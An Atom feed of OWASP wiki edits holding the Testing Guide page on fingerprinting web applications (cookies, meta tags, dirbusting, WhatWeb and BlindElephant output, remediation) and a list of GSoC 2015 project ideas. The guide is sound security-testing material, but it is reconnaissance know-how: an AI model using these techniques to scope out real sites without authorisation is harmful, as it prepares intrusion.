<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Andrew+Muller</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Andrew+Muller"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Andrew_Muller"/>
		<updated>2026-04-17T15:34:11Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Fingerprint_Web_Application_(OTG-INFO-009)&amp;diff=197623</id>
		<title>Fingerprint Web Application (OTG-INFO-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Fingerprint_Web_Application_(OTG-INFO-009)&amp;diff=197623"/>
				<updated>2015-07-21T14:35:02Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
There is nothing new under the sun, and nearly every web application that one may think of developing has already been developed. With the vast number of free and open source software projects that are actively developed and deployed around the world, it is very likely that an application security test will face a target site that is entirely or partly dependent on these well known applications (e.g. Wordpress, phpBB, Mediawiki, etc). Knowing the web application components that are being tested significantly helps in the testing process and will also drastically reduce the effort required during the test. These well known web applications have known HTML headers, cookies, and directory structures that can be enumerated to identify the application. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Test Objectives ==&lt;br /&gt;
&lt;br /&gt;
Identify the web application and version to determine known vulnerabilities and the appropriate exploits to use during testing.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Cookies ===&lt;br /&gt;
A relatively reliable way to identify a web application is by the application-specific cookies.&lt;br /&gt;
&lt;br /&gt;
Consider the following HTTP-request:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
'''Cookie: wp-settings-time-1=1406093286; wp-settings-time-2=1405988284'''&lt;br /&gt;
DNT: 1&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
Host: blog.owasp.org&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The cookie ''CAKEPHP'' has automatically been set, which gives information about the framework being used. List of common cookies names is presented in Cpmmon Application Identifiers section. However, it is possible to change the name of the cookie. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== HTML source code ===&lt;br /&gt;
This technique is based on finding certain patterns in the HTML page source code. Often one can find a lot of information which helps a tester to recognize a specific web application. One of the common markers are HTML comments that directly lead to application disclosure. More often certain application-specific paths can be found, i.e. links to application-specific css and/or js folders. Finally, specific script variables might also point to a certain application.&lt;br /&gt;
&lt;br /&gt;
From the meta tag below, one can easily learn the application used by a website and its version. The comment, specific paths and script variables can all help an attacker to quickly determine an instance of an application.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;meta name=&amp;quot;generator&amp;quot; content=&amp;quot;WordPress 3.9.2&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More frequently such information is placed between &amp;lt;head&amp;gt;&amp;lt;/head&amp;gt; tags, in &amp;lt;meta&amp;gt; tags or at the end of the page. Nevertheless, it is recommended to check the whole document since it can be useful for other purposes such as inspection of other useful comments and hidden fields. &lt;br /&gt;
&lt;br /&gt;
=== Specific files and folders ===&lt;br /&gt;
Apart from information gathered from HTML sources, there is another approach which greatly helps an attacker to determine the application with high accuracy. Every application has its own specific file and folder structure on the server. It has been pointed out that one can see the specific path from the HTML page source but sometimes they are not explicitly presented there and still reside on the server.&lt;br /&gt;
&lt;br /&gt;
In order to uncover them a technique known as dirbusting is used. Dirbusting is brute forcing a target with predictable folder and file names and monitoring HTTP-responses to emumerate server contents. This information can be used both for finding default files and attacking them, and for fingerprinting the web application. Dirbusting can be done in several ways, the example below shows a successful dirbusting attack against a WordPress-powered target with the help of defined list and intruder functionality of Burp Suite.&lt;br /&gt;
&lt;br /&gt;
[[Image:Wordpress_dirbusting.png]]&lt;br /&gt;
&lt;br /&gt;
We can see that for some WordPress-specific folders (for instance, /wp-includes/, /wp-admin/ and /wp-content/) HTTP-reponses are 403 (Forbidden), 302 (Found, redirection to wp-login.php) and 200 (OK) respectively. This is a good indicator that the target is WordPress-powered. The same way it is possible to dirbust different application plugin folders and their versions. On the screenshot below one can see a typical CHANGELOG file of a Drupal plugin, which provides information on the application being used and discloses a vulnerable plugin version.&lt;br /&gt;
&lt;br /&gt;
[[Image:Drupal_botcha_disclosure.png]]&lt;br /&gt;
&lt;br /&gt;
Tip: before starting dirbusting, it is recommended to check the robots.txt file first. Sometimes application specific folders and other sensitive information can be found there as well. An example of such a robots.txt file is presented on a screenshot below.&lt;br /&gt;
&lt;br /&gt;
[[Image:Robots-info-disclosure.png]]&lt;br /&gt;
&lt;br /&gt;
Specific files and folders are different for each specific application. It is recommended to install the corresponding application during penetration tests in order to have better understanding of what infrastructure is presented and what files might be left on the server. However, several good file lists already exist and one good example is FuzzDB wordlists of predictable files/folders (http://code.google.com/p/fuzzdb/).&lt;br /&gt;
&lt;br /&gt;
== Common Application Identifiers ==&lt;br /&gt;
=== Cookies ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| phpBB || phpbb3_&lt;br /&gt;
|-&lt;br /&gt;
| Wordpress || wp-settings&lt;br /&gt;
|-&lt;br /&gt;
| 1C-Bitrix || BITRIX_&lt;br /&gt;
|-&lt;br /&gt;
| AMPcms || AMP&lt;br /&gt;
|-&lt;br /&gt;
| Django CMS || django&lt;br /&gt;
|-&lt;br /&gt;
| DotNetNuke || DotNetNukeAnonymous&lt;br /&gt;
|-&lt;br /&gt;
| e107 || e107_tz&lt;br /&gt;
|-&lt;br /&gt;
| EPiServer || EPiTrace, EPiServer&lt;br /&gt;
|-&lt;br /&gt;
| Graffiti CMS || graffitibot&lt;br /&gt;
|-&lt;br /&gt;
| Hotaru CMS || hotaru_mobile&lt;br /&gt;
|-&lt;br /&gt;
| ImpressCMS || ICMSession&lt;br /&gt;
|-&lt;br /&gt;
| Indico || MAKACSESSION&lt;br /&gt;
|-&lt;br /&gt;
| InstantCMS || InstantCMS[logdate]&lt;br /&gt;
|-&lt;br /&gt;
| Kentico CMS || CMSPreferredCulture&lt;br /&gt;
|-&lt;br /&gt;
| MODx || SN4[12symb]&lt;br /&gt;
|-&lt;br /&gt;
| TYPO3 || fe_typo_user&lt;br /&gt;
|-&lt;br /&gt;
| Dynamicweb || Dynamicweb&lt;br /&gt;
|-&lt;br /&gt;
| LEPTON || lep[some_numeric_value]+sessionid&lt;br /&gt;
|-&lt;br /&gt;
| Wix || Domain=.wix.com&lt;br /&gt;
|-&lt;br /&gt;
| VIVVO || VivvoSessionId&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== HTML source code ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Application !! Keyword&lt;br /&gt;
|-&lt;br /&gt;
| Wordpress || &amp;lt;meta name=&amp;quot;generator&amp;quot; content=&amp;quot;WordPress 3.9.2&amp;quot; /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| phpBB || &amp;lt;body id=&amp;quot;phpbb&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Mediawiki || &amp;lt;meta name=&amp;quot;generator&amp;quot; content=&amp;quot;MediaWiki 1.21.9&amp;quot; /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla || &amp;lt;meta name=&amp;quot;generator&amp;quot; content=&amp;quot;Joomla! - Open Source Content Management&amp;quot; /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Drupal || &amp;lt;meta name=&amp;quot;Generator&amp;quot; content=&amp;quot;Drupal 7 (http://drupal.org)&amp;quot; /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| DotNetNuke || DNN Platform - http://www.dnnsoftware.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
More info https://www.owasp.org/index.php/Web-metadata&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
A list of general and well-known tools is presented below. There are also a lot of other utilities, as well as framework-based fingerprinting tools.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=== WhatWeb ===&lt;br /&gt;
Website:  http://www.morningstarsecurity.com/research/whatweb &amp;lt;br&amp;gt;&lt;br /&gt;
Currently one of the best fingerprinting tools on the market. Included in a default [[Kali Linux]] build.&lt;br /&gt;
Language: Ruby&lt;br /&gt;
Matches for fingerprinting are made with:&lt;br /&gt;
* Text strings (case sensitive)&lt;br /&gt;
* Regular expressions&lt;br /&gt;
* Google Hack Database queries (limited set of keywords)&lt;br /&gt;
* MD5 hashes&lt;br /&gt;
* URL recognition&lt;br /&gt;
* HTML tag patterns&lt;br /&gt;
* Custom ruby code for passive and aggressive operations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sample output is presented on a screenshot below:&lt;br /&gt;
&lt;br /&gt;
[[Image:whatweb-sample.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== BlindElephant === &lt;br /&gt;
Website: https://community.qualys.com/community/blindelephant &amp;lt;br&amp;gt;&lt;br /&gt;
This great tool works on the principle of static file checksum based version difference thus providing a very high quality of fingerprinting.&lt;br /&gt;
Language: Python&lt;br /&gt;
&lt;br /&gt;
Sample output of a successful fingerprint:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
pentester$ python BlindElephant.py http://my_target drupal&lt;br /&gt;
Loaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl with 145 versions, 478 differentiating paths, and 434 version groups.&lt;br /&gt;
Starting BlindElephant fingerprint for version of drupal at http://my_target &lt;br /&gt;
&lt;br /&gt;
Hit http://my_target/CHANGELOG.txt&lt;br /&gt;
File produced no match. Error: Retrieved file doesn't match known fingerprint. 527b085a3717bd691d47713dff74acf4 &lt;br /&gt;
&lt;br /&gt;
Hit http://my_target/INSTALL.txt&lt;br /&gt;
File produced no match. Error: Retrieved file doesn't match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4 &lt;br /&gt;
&lt;br /&gt;
Hit http://my_target/misc/drupal.js&lt;br /&gt;
Possible versions based on result: 7.12, 7.13, 7.14&lt;br /&gt;
&lt;br /&gt;
Hit http://my_target/MAINTAINERS.txt&lt;br /&gt;
File produced no match. Error: Retrieved file doesn't match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca &lt;br /&gt;
&lt;br /&gt;
Hit http://my_target/themes/garland/style.css&lt;br /&gt;
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Fingerprinting resulted in:&lt;br /&gt;
7.14&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Best Guess: 7.14&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Wappalyzer ===&lt;br /&gt;
Website: http://wappalyzer.com &amp;lt;br&amp;gt;&lt;br /&gt;
Wapplyzer is a Firefox Chrome plug-in. It works only on regular expression matching and doesn't need anything other than the page to be loaded on browser. It works completely at the browser level and gives results in the form of icons. Although sometimes it has false positives, this is very handy to have notion of what technologies were used to construct a target website immediately after browsing a page.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sample output of a plug-in is presented on a screenshot below.&lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp-wappalyzer.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Saumil Shah: &amp;quot;An Introduction to HTTP fingerprinting&amp;quot; - http://www.net-square.com/httprint_paper.html&lt;br /&gt;
* Anant Shrivastava : &amp;quot;Web Application Finger Printing&amp;quot; - http://anantshri.info/articles/web_app_finger_printing.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
The general advice is to use several of the tools described above and check logs to better understand what exactly helps an attacker to disclose the web framework. By performing multiple scans after changes have been made to hide framework tracks, it's possible to achieve a better level of security and to make sure of the framework can not be detected by automatic scans. Below are some specific recommendations by framework marker location and some additional interesting approaches.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== HTTP headers ====&lt;br /&gt;
Check the configuration and disable or obfuscate all HTTP-headers that disclose information the technologies used. Here is an interesting article about HTTP-headers obfuscation using Netscaler:&lt;br /&gt;
http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-using-netscaler.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Cookies ====&lt;br /&gt;
It is recommended to change cookie names by making changes in the corresponding configuration files.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== HTML source code ====&lt;br /&gt;
Manually check the contents of the HTML code and remove everything that explicitly points to the framework.&lt;br /&gt;
&lt;br /&gt;
General guidelines:&lt;br /&gt;
*Make sure there are no visual markers disclosing the framework&lt;br /&gt;
*Remove any unnecessary comments (copyrights, bug information, specific framework comments)&lt;br /&gt;
*Remove META and generator tags&lt;br /&gt;
*Use the companies own css or js files and do not store those in a framework-specific folders&lt;br /&gt;
*Do not use default scripts on the page or obfuscate them if they must be used. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Specific files and folders ====&lt;br /&gt;
General guidelines:&lt;br /&gt;
*Remove any unnecessary or unused files on the server. This implies text files disclosing information about versions and installation too.&lt;br /&gt;
*Restrict access to other files in order to achieve 404-response when accessing them from outside. This can be done, for example, by modifying htaccess file and adding RewriteCond or RewriteRule there. An example of such restriction for two common WordPress folders is presented below.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]&lt;br /&gt;
RewriteCond %{REQUEST_URI} /wp-admin/$&lt;br /&gt;
RewriteRule $ /http://your_website [R=404,L]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
However, these are not the only ways to restrict access. In order to automate this process, certain framework-specific plugins exist. One example for WordPress is StealthLogin (http://wordpress.org/plugins/stealth-login-page).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Additional approaches ====&lt;br /&gt;
General guidelines:&lt;br /&gt;
*Checksum management &lt;br /&gt;
*:The purpose of this approach is to beat checksum-based scanners and not let them disclose files by their hashes. Generally, there are two approaches in checksum management:&lt;br /&gt;
*:*Change the location of where those files are placed (i.e. move them to another folder, or rename the existing folder)&lt;br /&gt;
*:*Modify the contents - even slight modification results in a completely different hash sum, so adding a single byte in the end of the file should not be a big problem.&lt;br /&gt;
*Controlled chaos&lt;br /&gt;
*:A funny and effective method that involves adding bogus files and folders from other frameworks in order to fool scanners and confuse an attacker. But be careful not to overwrite existing files and folders and to break the current framework!&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=GSoC2015_Ideas&amp;diff=189788</id>
		<title>GSoC2015 Ideas</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=GSoC2015_Ideas&amp;diff=189788"/>
				<updated>2015-02-17T12:15:26Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=OWASP Project Requests=&lt;br /&gt;
&lt;br /&gt;
== OWASP Hackademic Challenges ==&lt;br /&gt;
&lt;br /&gt;
[[OWASP Hackademic Challenges Project]]  helps you test your knowledge on web application security. You can use it to actually attack web applications in a realistic but also controllable and safe environment. After a wonderfull 2014 GSoC with 100 new challenges and a couple of new plugins we're mainly looking to get new features in and maybe a couple of challenges. Bellow is a list of proposed features.&lt;br /&gt;
&lt;br /&gt;
'''Tips to get you started in no particular order:''' &lt;br /&gt;
 * Read the [[GSoC SAT]]&lt;br /&gt;
 * Check the Hackademic wiki page linked above&lt;br /&gt;
 * Contact us through the mailing list or irc channel.&lt;br /&gt;
 * Check our [https://github.com/Hackademic/hackademic github repository] and especially the [https://github.com/Hackademic/hackademic/issues open tickets]&lt;br /&gt;
&lt;br /&gt;
=== Web Sandbox ===&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
After a very successfull OWASP Winter Code Sprint we have a brand new Sandbox feature which uses Linux Containers to create virtual space for each user. So we can host properly vulnerable challenges and maybe execute some code server side. However, the sandbox is not fully complete, we need many features here and there to make it easily deployable and improve it's administration.&lt;br /&gt;
&lt;br /&gt;
Ideas on the project:&lt;br /&gt;
&lt;br /&gt;
* Simple sandbox administration frontend for the web. -- An admin console to start and kill sandboxes manually and to list the status and resources used by each one.&lt;br /&gt;
* Secure the implementation -- Now we have a functioning prototype, we know that Linux Containers are quite safe but we haven't explicitly tested our configuration and use of them.&lt;br /&gt;
* Your idea here...&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
Better sandboxing&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in Linux administration and some security knowledge depending on the specific project.&lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
=== Source Code testing environment - Defensive Challenges ===&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
Existing challenges are based on a dynamic application testing concept. We would like to work on a project that will give the capability to the attacker to review a vulnerable piece of source code, make corrections and see the result in a realistic (but yet safe) runtime environment. The code can either be run if needed or tested for correctness and security. The implementation challenges of such a project can be numerous, including creating a realistic but also secure environment, testing submitted solutions and grading them in an automatic manner. At the same time there are now numerous sites that support submitting code and then simulate or implement a compiler's functionality.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
A source code testing and improvement environment where a user will be able to review, improve and test the result of a piece of source code.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in PHP, HTML. Good understanding of Application Security, source code analysis and related vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
=== Student performance analytics ===&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
We need a better way to measure the student's performance and how it varies depending on the problem. You will write a plugin (or make changes to the core depending on your implementation proposal) to gather all sorts of performance data and present them in a meaningfull way.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
A page to view performance metrics of differenct students.&lt;br /&gt;
( Hackalytics )&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in PHP, HTML, javascript. Some understanding of analytics.&lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
=== New Template ===&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
We need a cool new template since the old one is getting pretty old.&lt;br /&gt;
You can do it  using the latest frontend bells and whistles (like angular,bootstrap or the tools of your choice).&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
A new template.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in Css, HTML, javascript and/or the tools you plan on using.&lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
=== Gamification ===&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
Gamification is a feature widely used in many learning platforms out there and it would be nice if we could have it too.&lt;br /&gt;
You will need to design and implement the awards, badges and whatever other feature you have in mind. You will also implement the front and backend changes necessary to present the results.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
Gamification of the platform. ( Hackademicification )&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in Css, HTML, javascript and/or the tools you plan on using.&lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
=== Your idea ===&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
Hackademic is it's community, we always welcome new ideas and cool features. Come over to the irc channel or mailing list and propose something.&lt;br /&gt;
We'd be happy to help you get it done.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
Features we didn't know we needed. ;-)&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in whatever tools and languages you plan on using.&lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
== OWASP WebGoat .NET - Vulnerable Website ==&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
The actual WebGoat .NET is a vulnerable website built in ASP.NET using C#. There are some challenges already built in but we would like to add more vulnerable features&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET#tab=Overview&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
We want  to add more modules such as &lt;br /&gt;
*WebSockets&lt;br /&gt;
*CSRF challenge&lt;br /&gt;
*Finalise testing an upgrade to the .NET framework 4.5&lt;br /&gt;
*Retest and clean up actual modules&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in .NET, HTML and C#. Good understanding of Application Security, source code analysis and related vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Johanna Curiel, Jerry Hoff - OWASP WebGoat Project Leaders&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==OWASP WebGoatPHP==&lt;br /&gt;
===OWASP WebGoatPHP===&lt;br /&gt;
'''Description:'''&lt;br /&gt;
[[Webgoat]] is a deliberately insecure open source software made by OWASP using Java programming language. It has a set of challenges and steps, each providing the user with one or more web application vulnerability which user tries to solve. There are also hints and auto-detection of correct solutions. &lt;br /&gt;
Since Java is not the most common web application programming language, and it doesn't have many of the bugs other languages such as PHP have when it comes to security, OWASP has [[OWASP_WebGoat_Reboot2012|dedicated in 2012]] an amount of $5000 for promotion of WebGoatPHP.&lt;br /&gt;
&lt;br /&gt;
If you want to know more about WebGoatPHP, I suggest downloading and giving WebGoat a try. It is one of OWASP prides (about 200000 downloads).&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' WebGoatPHP first version is ready, it needs thorough testing and delivery. It also needs new challenges added and a CTF hosted on it.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' You just need to know PHP and SQL. Familiarity with web application security is recommended.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==OWASP PureCaptcha==&lt;br /&gt;
===OWASP PureCaptcha===&lt;br /&gt;
'''Description:''' &lt;br /&gt;
[[OWASP PureCaptcha]] is an OWASP project aiming to simplify CAPTCHA usage. Instead of proving rigorous APIs and many dependencies, it is a single source code file (library) that does not depend on anything and generates secure and fast CAPTCHAs, with little memory and processor footprint.&lt;br /&gt;
PureCaptcha is currently released for PHP. The candidate will port this to several other programming languages (priority on web languages) and provide full test coverage.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' PureCaptcha library for at least 3 new programming languages. Unit testing for the core version. A study on security of the generated captcha can also be performed.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisites:''' Any programming language you want to port into, as well as PHP.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]], Jesse Burns&lt;br /&gt;
&lt;br /&gt;
==OWASP PHP Framework==&lt;br /&gt;
===OWASP PHP Framework===&lt;br /&gt;
&lt;br /&gt;
'''Description:'''&lt;br /&gt;
OWASP PHP Security project plans to gather around secure PHP libraries, and provide a full featured framework of libraries for secure web applications in PHP, both as separate de-coupled libraries and as a whole secure web application framework. Many aspects of this project are already handled, and are being added to OWASP.&lt;br /&gt;
The project has been done in the last two years, and now a framework has been built upon these libraries and security best practices. The framework intends to merge security practices with practical frameworks, and aims to be simple and lightweight.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results: ''' A secure yet robust and practical framework for PHP developers.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' This project requires at least one year of experience working with different PHP projects and frameworks. It will be too hard for someone with average PHP experience.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]], Rahul Chaudhary&lt;br /&gt;
&lt;br /&gt;
'''Skill Level:''' Advanced&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==OWASP RBAC Project==&lt;br /&gt;
===OWASP RBAC Project===&lt;br /&gt;
'''Description:''' ''For the last 7 years, improper access control has been the issue behind two of the Top Ten lists''. &lt;br /&gt;
&lt;br /&gt;
RBAC stands for Role Based Access Control and is the de-facto access control and authorization standard. It simplifies access control and its maintenance for small and enterprise systems alike. NIST RBAC standard has four levels, the second level hierarchical RBAC is intended for this project.&lt;br /&gt;
&lt;br /&gt;
Unfortunately because of many performance and development problems, no suitable RBAC implementation was available until recently, so developers and admins mostly used ACLs and other forms of simple access control methods, which leads to broken and unmaintainable access control over the time. &lt;br /&gt;
&lt;br /&gt;
[[OWASP RBAC project]] has already implemented this, has a wide audience and has released several minor and two major versions. Many new features and modifications are expected by the community behind this.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' OWASP RBAC project more mature by porting from PHP to other programming languages, OR adding new features and testing on the PHP version.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Good SQL knowledge, library development skills, familiarity with one of the programming languages as well as PHP. We recommend average experience and high skills.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]], Rahul Chaudhary, Jesse Burns&lt;br /&gt;
&lt;br /&gt;
'''Skill Level:''' Advanced&lt;br /&gt;
&lt;br /&gt;
For more info, visit [http://phprbac.net phprbac.net]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==OWASP PHP Widgets==&lt;br /&gt;
===OWASP PHP Widgets===&lt;br /&gt;
'''Description:''' Pull MVC (widget-based web views) has been available for many years on all major web programming languages, and even for Javascript. PHP on the other hand, lacks these and suffers a lot from forcing push MVC on its developers. There are a few libraries around, not secure and not mature at all. Providing a robust set of widgets for PHP developers not only smoothes web development process, it automatically mitigates a lot of web attacks that are based on user inputs to forms and other web elements (e.g CSRF, SQL Injection, XSS).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' OWASP PHP Widgets is currently in beta, and the candidate will spend time testing the functionalities, providing test coverage, adding new widgets and features, and building a user community.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Average PHP programming. Good experience with web applications.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==OWASP Seraphimdroid==&lt;br /&gt;
&lt;br /&gt;
'''Description:''' SeraphimDroid is educational application for android devices that helps users learn about risks and threats coming from other android applications. SeraphimDroid scans your devices and teaches you about risks and threats coming from application permissions. Also this project will deliver paper on android permissions, their regular use, risks and malicious use. In second version SeraphimDroid will evolve to application firewall for android devices not allowing malicious SMS or MMS to be sent, USSD codes to be executed or calls to be called without user permission and knowledge.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
